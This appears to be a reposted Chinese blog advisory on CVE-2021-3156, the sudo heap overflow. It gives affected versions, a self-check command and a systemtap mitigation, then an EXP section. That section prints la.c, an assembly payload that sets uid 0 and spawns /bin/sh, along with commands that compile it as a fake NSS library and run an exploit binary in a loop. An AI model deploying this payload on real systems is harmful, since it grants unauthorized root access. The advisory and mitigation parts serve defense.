CVE-2021-3156:Sudo 堆缓冲区溢出漏洞(有poc,exp待更新)
漏洞詳情
CVE-2021-3156: 緩沖區溢出漏洞
在sudo解析命令行參數的方式中發現了基于堆的緩沖區溢出。任何本地用戶(普通用戶和系統用戶,sudoer和非sudoers)都可以利用此漏洞,而無需進行身份驗證,攻擊者不需要知道用戶的密碼。成功利用此漏洞可以獲得root權限。
POC
用戶可以使用如下方法進行自查:
以非root用戶登錄系統,并使用命令sudoedit -s /
- 如果響應一個以sudoedit:開頭的報錯,那么表明存在漏洞。
- 如果響應一個以usage:開頭的報錯,那么表明補丁已經生效。
影響版本
-?sudo:sudo: 1.8.2 - 1.8.31p2
-?sudo:sudo: 1.9.0 - 1.9.5p1
修復建議
通用修補建議
下載升級sudo軟件包,下載鏈接為:
sudo軟件包下載地址
https://www.sudo.ws/dist/
臨時修補建議
對于無法立即更新的用戶,建議使用systemtap進行以下臨時緩解:
1. 安裝所需的systemtap軟件包和依賴項:
systemtap yum-utils kernel-devel-"$(uname -r)"對于RHEL 7,使用命令安裝 kernel debuginfo:debuginfo-install -y kernel-"$(uname -r)"。對于RHEL 8,使用命令安裝 sudo debuginfo:debuginfo-install sudo。
2. 創建以下systemtap腳本(將文件命名為sudoedit-block.stap):
probe process("/usr/bin/sudo").function("main") {command = cmdline_args(0,0,"");if (strpos(command, "edit") >= 0) {raise(9);} }3. 使用以下命令安裝腳本:(使用root權限)
# nohup stap -g sudoedit-block.stap &該腳本將使得易受攻擊的sudoedit二進制文件停止工作。sudo命令仍將照常工作。上述更改在重啟后失效,必須在每次重啟后重新應用。
4. 一旦安裝了補丁程序,就可以通過取消systemtap進程來刪除systemtap腳本。例如,通過使用:
# kill -s SIGTERM 7590 (其中7590是systemtap進程的PID)EXP
CVE-2021-3156- Heap-Based Buffer Overflow in Sudo
la.c
static void __attribute__((constructor)) _init(void) {__asm __volatile__("addq $64, %rsp;"// setuid(0);"movq $105, %rax;""movq $0, %rdi;""syscall;"// setgid(0);"movq $106, %rax;""movq $0, %rdi;""syscall;"// dup2(0, 1);"movq $33, %rax;""movq $0, %rdi;""movq $1, %rsi;""syscall;"// dup2(0, 2);"movq $33, %rax;""movq $0, %rdi;""movq $2, %rsi;""syscall;"// execve("/bin/sh");"movq $59, %rax;""movq $0x0068732f6e69622f, %rdi;""pushq %rdi;""movq %rsp, %rdi;""movq $0, %rdx;""pushq %rdx;""pushq %rdi;""movq %rsp, %rsi;""syscall;"// exit(0);"movq $60, %rax;""movq $0, %rdi;""syscall;"); }shell?
cd /tmp mkdir libnss_X gcc -fpic -shared -nostdlib -o libnss_X/X.so.2 la.c for i in {1..128000}; do echo -n "try number $i "; ./exploit; donehttps://github.com/r4j0x00/exploits
?
?
總結
以上是生活随笔為你收集整理的CVE-2021-3156:Sudo 堆缓冲区溢出漏洞(有poc,exp待更新)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SharePoint Set-SPUse
- 下一篇: 程序组件通信方案集锦